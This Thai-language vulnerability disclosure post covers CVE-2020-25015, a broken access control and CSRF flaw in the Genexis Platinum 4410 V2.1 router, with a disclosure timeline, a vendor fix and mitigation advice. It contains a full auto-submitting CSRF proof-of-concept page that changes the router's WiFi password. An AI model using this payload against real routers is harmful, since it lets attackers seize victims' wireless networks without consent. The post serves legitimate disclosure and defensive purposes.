Computer >> คอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยของเครือข่าย

การควบคุมการเข้าถึงที่ใช้งานไม่ได้ &CSRF ใน Genexis Platinum 4410 Router V2.1

ขณะทดสอบเราเตอร์ที่บ้าน Genexis Platinum 4410 เวอร์ชัน 2.1 (ซอฟต์แวร์เวอร์ชัน P4410-V2-1.28) ฉันพบว่าเราเตอร์มีความเสี่ยงต่อ Broken Access Control และ CSRF

รหัส CVE: CVE-2020-25015

สรุป

Platinum 4410 เป็นเราเตอร์ขนาดกะทัดรัดจาก Genexis ที่ใช้กันทั่วไปในบ้าน เวอร์ชันฮาร์ดแวร์ V2.1 – ซอฟต์แวร์เวอร์ชัน P4410-V2-1.28 พบว่ามีความเสี่ยงต่อการควบคุมการเข้าถึงที่ไม่สมบูรณ์และ CSRF ซึ่งสามารถรวมกันเพื่อเปลี่ยนรหัสผ่านของจุดเชื่อมต่อ WIFI จากระยะไกลได้

สำหรับข้อมูลเพิ่มเติมเกี่ยวกับ CSRF โปรดไปที่บทความนี้

ผลกระทบ

ผู้โจมตีสามารถส่งลิงก์ไปยังเหยื่อได้ ซึ่งหากเขาคลิกในขณะที่เขาเชื่อมต่อกับเครือข่าย WIFI ที่สร้างจากเราเตอร์ที่มีช่องโหว่ รหัสผ่านของจุดเชื่อมต่อ WIFI จะถูกเปลี่ยนผ่านการใช้ประโยชน์จาก CSRF เนื่องจากเราเตอร์มีความเสี่ยงต่อ Broken Access Control เหยื่อจึงไม่จำเป็นต้องเข้าสู่ระบบในหน้าการตั้งค่าบนเว็บของเราเตอร์ (192.168.1.1) ซึ่งจะทำให้เป็นแฮ็คเพียงคลิกเดียว

ช่องโหว่

ตามหลักการแล้ว การโจมตีนี้น่าจะสร้างปัญหาได้ เพราะเพื่อให้การโจมตี CSRF สำเร็จ เหยื่อจะต้องลงชื่อเข้าใช้แอปพลิเคชันที่อยู่ภายใต้การโจมตี (ในกรณีนี้คือหน้าการตั้งค่าบนเว็บที่ 192.168.1.1) และส่วนใหญ่ หน้าการตั้งค่าเราเตอร์จะสิ้นสุดเซสชันผู้ใช้โดยอัตโนมัติ นอกจากนี้ ลูกค้ามักจะเข้าชมหน้าการตั้งค่าของเราเตอร์ด้วยเช่นกัน อย่างไรก็ตาม เนื่องจากช่องโหว่ในการควบคุมการเข้าถึงที่ใช้งานไม่ได้ในเฟิร์มแวร์เวอร์ชันล่าสุดในขณะที่รายงาน คำขอเปลี่ยนรหัสผ่านอาจส่งโดยบุคคลที่ไม่ผ่านการตรวจสอบสิทธิ์เช่นกัน

ด้วยเหตุนี้ เมื่อรวมช่องโหว่ CSRF และ Broken Access Control ในเฟิร์มแวร์เวอร์ชันนี้ ผู้โจมตีสามารถสร้างเอกสาร HTML ด้วยโค้ดต่อไปนี้และหลอกล่อให้ผู้ใช้ส่งเอกสารดังกล่าว

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
 <input type="hidden" name="wlEnbl" value="ON" />
 <input type="hidden" name="hwlKeys0" value="" />
 <input type="hidden" name="hwlKeys1" value="" />
 <input type="hidden" name="hwlKeys2" value="" />
 <input type="hidden" name="hwlKeys3" value="" />
 <input type="hidden" name="hwlgMode" value="9" />
 <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
 <input type="hidden" name="hwlEnbl" value="1" />
 <input type="hidden" name="hWPSMode" value="1" />
 <input type="hidden" name="henableSsid" value="1" />
 <input type="hidden" name="hwlHide" value="0" />
 <input type="hidden" name="isInWPSing" value="0" />
 <input type="hidden" name="WpsConfModeAll" value="7" />
 <input type="hidden" name="WpsConfModeNone" value="0" />
 <input type="hidden" name="hWpsStart" value="0" />
 <input type="hidden" name="isCUCSupport" value="0" />
 <input type="hidden" name="SSIDPre" value="N&#47;A" />
 <input type="hidden" name="bwControlhidden" value="0" />
 <input type="hidden" name="ht&#95;bw" value="1" />
 <input type="hidden" name="wlgMode" value="b&#44;g&#44;n" />
 <input type="hidden" name="wlChannel" value="0" />
 <input type="hidden" name="wlTxPwr" value="1" />
 <input type="hidden" name="wlSsidIdx" value="0" />
 <input type="hidden" name="SSID&#95;Flag" value="0" />
 <input type="hidden" name="wlSsid" value="JINSON" />
 <input type="hidden" name="wlMcs" value="33" />
 <input type="hidden" name="bwControl" value="1" />
 <input type="hidden" name="giControl" value="1" />
 <input type="hidden" name="enableSsid" value="on" />
 <input type="hidden" name="wlAssociateNum" value="32" />
 <input type="hidden" name="wlSecurMode" value="WPAand11i" />
 <input type="hidden" name="wlPreauth" value="off" />
 <input type="hidden" name="wlNetReauth" value="1" />
 <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
 <input type="hidden" name="cb&#95;enablshowpsw" value="on" />
 <input type="hidden" name="wlWpaGtkRekey" value="" />
 <input type="hidden" name="wlRadiusIPAddr" value="" />
 <input type="hidden" name="wlRadiusPort" value="" />
 <input type="hidden" name="wlRadiusKey" value="" />
 <input type="hidden" name="wlWpa" value="TKIPAES" />
 <input type="hidden" name="wlKeyBit" value="64" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="WpsActive" value="0" />
 <input type="hidden" name="wpsmode" value="ap&#45;pbc" />
 <input type="hidden" name="pinvalue" value="" />
 <input type="hidden" name="Save&#95;Flag" value="1" />
 <input type="submit" value="Submit request" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

ตราบใดที่เหยื่อเชื่อมต่อกับจุดเชื่อมต่อ WiFi ที่สร้างโดยเราเตอร์ที่ได้รับผลกระทบ รหัสผ่านของจุดเชื่อมต่อจะเปลี่ยนไปดังแสดงในวิดีโอด้านล่าง

ไทม์ไลน์

  • รายงานช่องโหว่ไปยังทีม Genexis เมื่อวันที่ 28 สิงหาคม 2020
  • ทีมยืนยันการเปิดตัวเฟิร์มแวร์ที่มีการแก้ไขในวันที่ 14 กันยายน 2020

คำแนะนำ

  • ตามทีม Genexis ลูกค้าควรติดต่อ ISP ของตนเพื่อเข้าถึงเฟิร์มแวร์ล่าสุด
  • ใช้เราเตอร์ที่ปลอดภัยยิ่งขึ้นหากคุณไม่สามารถอัพเกรดเฟิร์มแวร์ได้

ข้อมูลอ้างอิง

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
  • https://nvd.nist.gov/vuln/detail/CVE-2020-25015